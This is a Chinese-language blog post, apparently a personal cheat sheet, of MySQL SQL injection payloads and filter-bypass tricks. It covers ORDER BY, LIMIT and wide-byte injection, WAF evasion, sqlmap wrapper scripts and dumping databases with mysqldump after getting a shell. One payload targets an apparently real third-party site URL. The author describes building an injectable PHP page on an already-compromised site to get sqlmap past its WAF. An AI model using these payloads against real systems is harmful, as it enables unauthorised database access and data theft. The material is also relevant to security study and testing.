MySQL 注入技巧

记录一下遇到的 MySQL 注入的 Payload 以及绕过姿势,总的来说就是一些技巧。

Bypass

null 代替 union

遇到 union 猜字段数跳转时,用 null 代替

Order by 注入点

order by 性质:

  1. 利用 order by 子句进行快速猜解表中的列数
  2. order by 后面的数不能是表达式

1=1 处就是 payload
构造:

  1. IF(1=1,name,price)
  2. (CASE+WHEN+(1=1)+THEN+name+ELSE+price+END)
  3. IFNULL
  4. rand(1=1) ,rand(1=2)

报错:

  1. IF(1=1,1, (select 1 union select 2))
  2. (select 1 regexp if(1=1,1,0x00))
  3. updatexml
  4. extractvalue

时间:

  1. if(1=1, 1, (SELECT(1)FROM(SELECT(SLEEP(2)))test))

对于 desc/asc 后的注入点,直接加 , 然后拼接语句即可:

1
http://www.teletec.com.pk/include/products.php?sb=id desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))

limit 注入点

方法仅适用于 5.0.0 < mysql < 5.6.6 的版本

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

limit 关键字后面还有 PROCEDUREINTO 关键字,into 关键字可以用来写文件,但这在不重要,这里的重点是 PROCEDURE 关键字。MySQL 默认可用的存储过程只有 ANALYSE

报错:

1
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

如果不支持报错注入的话,还可以基于时间注入,直接使用 sleep 不行,需要用 BENCHMARK 代替:

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

SELECT ... INTO:

SELECT username FROM Users limit 1,{INJECTION POINT};

1 INTO @,@,@ The used SELECT statements have a different number of columns

1 INTO @,@ 没有报错就说明只有两列

FPD

mysql 中,limit 后的 limit 0, 0limit 0,/**/1 可能会造成路径泄露

判断已知表名的字段数

1
SELECT passwd FROM Users WHERE id = {INJECTION POINT};
1
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

1 AND (SELECT * FROM Users) = 1 => Operand should contain 3 column(s)

说明只有 3 列

and/or 后插入字符绕过空格

任意混合+ - ~ !可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)

1
2
3
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶数个--

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!1=1;需要奇数个!

版本号字符

mysql 的版本号字符即 /*!(版本号)*/

若给出的版本小于等于数据库版本,则 mysql 会吃掉版本号后剩下后面的字符。

若大于,则吃掉所有字符。(我的是 5.7.21)

select * from mysql.user where 1/*!50722aaaa*/;

返回正常结果

select * from mysql.user where 1/*!50721aaaa*/;

返回:

1
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaa*/' at line 1

SELECT 1/*!00000union/*!00000select/*!00000user(*/);

对于小于或等于版本号的语句就会执行。其实就是把版本号当作空格使用。

/*!*/ 也可以插入表等等:

select /*!id*/ from wlanpwd;

Illegal mix of collations

  1. 现象:
    SQL Error : Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
    是一种乱码问题,因为编码的缘故字符集的编码不同所导致的。

  2. 解决:

    1. convert(version() using latin1)
    2. aes_decrypt(aes_encrypt(version(),1),1)
    3. unhex(hex(@@version))
    4. cast(version()+as+binary)
    5. convert(version(),binary)
    6. convert(version()+using+binary)

Base64 变形

  1. 搜素引擎关键词:inurl:php?aWQ9
  2. sqlmap 如何跑 base64 加密了的注入点
    这里的 base64 不仅是值为 base64,参数的名字都一起 base64 了。
    将以下 demo 保存为 sqlmap.php
    1
    2
    3
    4
    <?php
    $id = base64_encode("id=".$_GET['id']);
    echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
    ?>

    sqlmap.py -u "http://localhost/sqlmap.php?id=12" -v3 --dbs
    若是仅有参数值进行了 base64,那么用 sqlmap 即可:
    sqlmap -u http://xxxx.com/index.php?tel=ltenig9yicc4occ9jzg5 --tamper base64encode.py – dbs

PHP 的 empty() 与 Mysql

mysql 的类型强制转换可绕过 PHP 中 empty() 函数对 0 的 false 返回。

例如:提交 /?test=0axxx -> empty($_GET['test']) => 返回

但是 mysql 中提交其 0axxx 到数字型时强制转换成数字 0

括号代替空格

过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到 select from(关键字空格判断的正则,且剔除 /**/ 等)可使用括号包裹查询字段绕过。
例如:

1
2
3
select(user)from(mysql.user);
select{x(user)}from{y(mysql.user)};
select{x+user}from{x(mysql.user)}

宽字节注入

character_set_client: 客户端发送过来的 SQL 语句编码,也就是 PHP 发送的 SQL 查询语句编码字符集。一个 gbk 汉字 2 字节,utf-8 汉字 3 字节。

宽字节对转义字符的影响发生在 character_set_client=gbk 的情况,也就是说,如果客户端发送的数据字符集是 gbk,则可能会吃掉转义字符 \,从而导致转义消毒失败。

宽字节注入漏洞的另一个关键是设置了 character_set_client 为宽字节字符集,这里有很多中设置的方式,主要包括隐式设置和显式设置。

隐含方式设置是指 charcter_set_client 缺省字符集就是宽字节字符集。

显式设置是指在 PHP 程序中调用相应的设置函数来实现字符集的设置或直接对字符串进行编码转换,设置的函数包括:

1
2
3
4
5
6
7
(1) mysql_query,如 mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如 mysql_set_charset("gbk",$conn)。

(3) mb_convert_encoding,如 mb_convert_encoding($sql,"utf8","gbk"),将 SQL 语句从 gbk 格式转换为 utf8 格式时,0x5c 被吃掉了。

(4) iconv,如 iconv('GBK', 'UTF-8',$sql),原理同上。

详细一点的传送门🚪

快速脱库

在渗透测试的时候发现的:
首先满足:

  1. 有数据库账号密码(不一定是 root)
  2. mysqldump 可以使用
  3. get shell

我遇到的情况是部署在阿里云上的数据库, 限制了登录的 ip. 用 sqlmap 拖出来的库表是乱的. 这个时候我们可以用 mysqldump 先把数据拖到服务器上, 再下载到本地:

mysqldump -ubackup -p123456 -h 192.168.1.2 backup_test > /tmp/bakcup.sql

1
2
3
4
5
-u 是数据库的用户名,后面紧跟着用户名 backup;
-p 是数据库的密码,后面同样紧跟着密码,注意是-p 和密码之间不能有空格;
-h 是数据库的地址,如果没有此项表明是备份本地的数据库;

backup_test 要备份的数据库名称;

然后导入本地即可. 不过我发现导入的时候使用 mysqldump 有时候会有问题, 用 source 命令导入就不会,原因未知。

制造注入点

在渗透某网站的时候, 有狗, 已经 getshell, 但是此狗在 get 参数长度很长的时候会拦截, 所以 sqlmap 经常爆掉...那么我们完全可以自己写一个含有 sql 注入的 php, 让 sqlmap 跑这个. 那么狗怎么办呢? 拦截 get 参数, post 参数拦不拦呢? post 拦了, ua 拦不拦呢? cookie 呢? 其他 header 呢?
思路有特别多. 随便说一句, 自己构造的 php 还可以弄个 base64 解码, sqlmap 编码后传过去, 这样 payload 里根本不会没有敏感的字符, tamper 都省了 :P

insert 与 select 对待空格的不一致行为

mysql 版本需要 <mysq 5.7

fb 上的一篇文章

主旨思想是利用数据库对空格符的特殊处理方式来达到水平越权(甚至垂直越权)的目的。

1
2
select * from users where username='Dumb'
select * from users where username='Dumb '

查询结果是一致的

INSERT 截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如 CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。

1
2
INSERT INTO users(username, password) VALUES ('vampire', 'random_pass');
INSERT INTO users(username, password) VALUES ('vampire 1', 'random_pass');

截断后(这里是 varchar(10)), 在 select 看来, 数据库里就用 2 个叫 vampire 的人.

利用场景
这里的利用场景等同于: 如果我们绕过了网站限制注册同一用户名的逻辑, 会有什么危害?

目前我能想到的只有 2 种:

  1. update 的操作没用 and 把 passwd 加进来, 只验证用户名, 导致更新任意用户的资料(前提是知道该用户的用户名).
  2. 登录时虽然同时验证了用户名和密码, 但是验证后只用用户名作为唯一的合法性标识符(业务逻辑以该用户名为准). 比如写死了 admin 这个名字的用户可以增加管理员等等. 不过返回的数据仍然是带空格的 vampire, 不一定能通过 == 的检查, 得具体看代码怎么处理.

    来呀快活呀


MySQL 注入技巧
https://www.tr0y.wang/2018/04/07/MySQL注入技巧/
作者
Tr0y
发布于
2018年4月7日
更新于
2024年4月19日
许可协议